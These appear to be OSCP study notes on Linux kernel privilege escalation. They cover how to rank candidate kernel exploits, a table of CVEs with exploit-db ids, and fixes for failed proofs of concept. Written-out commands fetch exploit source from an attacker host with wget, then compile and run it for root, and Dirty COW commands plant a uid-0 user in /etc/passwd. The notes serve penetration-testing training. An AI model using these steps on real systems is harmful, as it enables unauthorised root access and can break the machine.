Notes OSCP Techniques Privilege Escalation (Linux)

Techniques / Privilege Escalation (Linux)

Kernel Exploits

When the cheaper privilege-escalation vectors (sudo -l, SUID, cron, credentials at rest) are exhausted, an old kernel is the fallback. It sits last on the Privilege Escalation triage list because kernel exploits are noisy and can panic the box. On a box built around one, it is the only path. Loly (Ubuntu 16.04, 4.4.0-31-generic) is the example here.

Identify the Kernel

uname -a          # kernel version and architecture
cat /etc/os-release

uname -m matters as much as the version. Half of the older PoCs hardcode symbol offsets for one architecture, and a 32-bit exploit against a 64-bit kernel fails on the first resolve.

LinPEAS prints the kernel and distro in its Operative system block and links the relevant HackTricks page, but current builds stop there. Older writeups show a Linux Exploit Suggester section in the LinPEAS output that no longer exists, so the suggester has to be run separately.

Find Candidate Exploits

searchsploit linux kernel 4.4.0
searchsploit -m 45010          # copy an exploit locally by EDB id

searchsploit matches on text and does not rank, so an old kernel returns twenty candidates with nothing to separate them. linux-exploit-suggester ranks them, and runs on Kali against a kernel string copied out of the shell rather than needing an upload:

./linux-exploit-suggester.sh --uname "Linux version 2.6.32-21-generic (buildd@rothera) ..."

Each hit carries the three fields that decide the order:

[+] [CVE-2010-3904] rds
   Exposure: highly probable
   Tags: debian=6.0{kernel:2.6.32-5-amd64},ubuntu=10.04{kernel:2.6.32-21-generic}
   Download URL: https://www.exploit-db.com/download/15285

Which Candidate to Try First

  1. A Tags entry naming the exact distro and kernel build of the target. ubuntu=10.04{kernel:2.6.32-21-generic} on a box running that build means the PoC was tested against it, not merely against a kernel in range. This is the single strongest signal and usually picks the exploit outright.
  2. Exposure: highly probable over probable over less probable. The lower two mean the version is in range but the build was never verified.
  3. Architecture match, per uname -m.
  4. Deterministic over racy. A race exploit can lose repeatedly on a slow VM and prove nothing, while an offset-based one either resolves its symbols or fails immediately with a readable error.

les.sh brackets the tag that matched, which makes rule 1 easy to read off the output:

Tags: debian=6.0{...},ubuntu=10.10|9.10,[ ubuntu=10.04{kernel:2.6.32-(21|24)-generic} ]

Ubuntu 10.04 with 2.6.32-21-generic is the worked example, and the tie it produces shows how the rest of the order plays out. Both RDS (CVE-2010-3904) and Dirty COW (CVE-2016-5195) come back highly probable with that bracketed tag, while full-nelson (15704) and half-nelson (17787) only match the version range. Rules 1 to 3 leave the first two level, so rule 4 decides: RDS resolves kernel symbols and either works or prints exactly which resolve failed, while Dirty COW is a race that rewrites /etc/passwd and can hang the box. RDS first.

For 4.4.0, common candidates are CVE-2017-16995 (BPF sign-extension) and CVE-2017-1000111 (AF_PACKET race).

Known Kernel Exploits

CVENameKernel rangeEDB
CVE-2010-3848/3849/3850half-nelson (econet)<= 2.6.36.217787
CVE-2010-3904RDS2.6.30 to 2.6.3615285
CVE-2010-4258full-nelson<= 2.6.3715704
CVE-2015-1328overlayfs, Ubuntu only3.13 to 3.1937292
CVE-2016-5195Dirty COW2.6.22 to 4.8.340839, 40847
CVE-2017-16995BPF sign-extension4.4 to 4.1445010
CVE-2022-0847Dirty Pipe5.8 to 5.16.11searchsploit

Userspace local roots that get mistaken for kernel bugs sit elsewhere: PwnKit (CVE-2021-4034) in SUID Binaries, Baron Samedit (CVE-2021-3156) in Sudo. Both are worth checking before a kernel exploit, since neither can panic the box.

RDS (CVE-2010-3904)

Deterministic. It reads kernel symbol addresses from /proc/kallsyms (or System.map), overwrites the security ops pointer, and calls commit_creds. The vulnerable rds module is loaded on demand by the unprivileged socket the exploit opens, so nothing has to be loaded in advance.

# Kali
searchsploit -m 15285
sudo python3 -m http.server 80
# target
cd /dev/shm
wget http://KALI/15285.c
gcc 15285.c -o rds && chmod +x rds
./rds
id                              # uid=0(root)

It prints each symbol as it resolves, so a failure names its own cause. All zeroes or a resolve failure means the symbols are not readable, and the exploit cannot proceed.

Dirty COW (CVE-2016-5195)

A race in copy-on-write handling that writes to any file the user can read. Widest range of any of these, and the one to reach for on anything from 2.6.22 to 4.8, but it is also the one most likely to leave the box unusable. Two builds worth knowing:

# 40839, dirty.c: adds a uid 0 user "firefart" to /etc/passwd
gcc -pthread 40839.c -o dirty -lcrypt
./dirty mypassword
su firefart
mv /tmp/passwd.bak /etc/passwd   # restore, the exploit only backs it up
# 40847, dcow.cpp: swaps passwd in memory, returns a root shell, restores itself
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
./dcow

40839 leaves /etc/passwd replaced until the backup is moved back, which breaks logins for every other account on the box. Restore it as soon as the root shell is up. 40847 is the tidier option where a compiler for it exists.

Public POCs Are Fragile

The first exploit rarely works. On Loly, three attempts failed before one succeeded, each in a different way:

  • Race lost. CVE-2017-1000111 (AF_PACKET) printed race not won on every retry. Race-condition exploits can simply lose the race. Re-run, and if it never wins, move on.
  • Version not recognized. A precompiled CVE-2017-16995 binary printed kernel version not recognized because its internal offset table did not include the target kernel. Try the source, or a build that matches.
  • E2BIG from a Kali build. The BPF variant reached bpf_update_elem failed 'Argument list too long' (E2BIG). This exploit hand-builds a union bpf_attr and calls bpf() directly; compiled against Kali’s newer glibc/headers, the struct layout does not match what the target’s 4.4 kernel expects, so the kernel rejects the map update.

Compile on the Target

The fix for the E2BIG mismatch is to compile on the target, against its own glibc and headers. This is the safe default for any exploit that talks to the kernel through raw syscalls or hand-built structs. Transfer the source, not a Kali-built binary:

# Kali
sudo python3 -m http.server 80
# target
wget http://KALI/45010.c
gcc 45010.c -o exploit && chmod +x exploit && ./exploit

(For self-contained exploits that only use standard syscalls, a Kali gcc -static build transfers fine. The compile-on-target rule is specifically for exploits sensitive to struct/ABI layout.)

Fix: gcc can’t find cc1 / ld on the target

Compiling in a stripped service shell (e.g. www-data) often fails like this:

gcc: error trying to exec 'cc1': execvp: No such file or directory
collect2: fatal error: cannot find 'ld'

gcc is only a driver; it execs cc1 (the compiler), as, and ld. This error almost never means the toolchain is missing. It means the shell’s PATH is broken, so gcc cannot find its own backend tools. Confirm they exist, then fix PATH:

gcc -print-prog-name=cc1        # echoes a bare "cc1" => gcc can't locate it
find / -name cc1 2>/dev/null    # e.g. /usr/lib/gcc/x86_64-linux-gnu/5/cc1
which ld as                     # ld is usually /usr/bin/ld

# restore a full PATH incl. the gcc internal dir; gcc searches PATH for cc1/as/ld
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/gcc/x86_64-linux-gnu/5
gcc 45010.c -o exploit

If only cc1 is found and PATH cannot be fully repaired, gcc -B/usr/lib/gcc/x86_64-linux-gnu/5/ ... points gcc at the directory directly. Alternatives that avoid cc1 entirely: tcc source.c -o exploit, or clang if present.

Checklist

  • uname -a; rank the candidates with linux-exploit-suggester and take the bracketed exact-build tag first.
  • Read what the exploit needs. A self-contained one can be built on Kali (-static); one using raw syscalls or hand-built structs should be built on the target.
  • Expect failures: race not won (retry, then abandon), version not recognized (wrong build), E2BIG/garbage (ABI mismatch → compile on target).
  • cc1/ld “not found” is a broken PATH, not a missing compiler.
  • Have more than one candidate ready; try them in turn.
  • An exploit that edits a system file (Dirty COW 40839 and /etc/passwd) is not finished until the file is restored.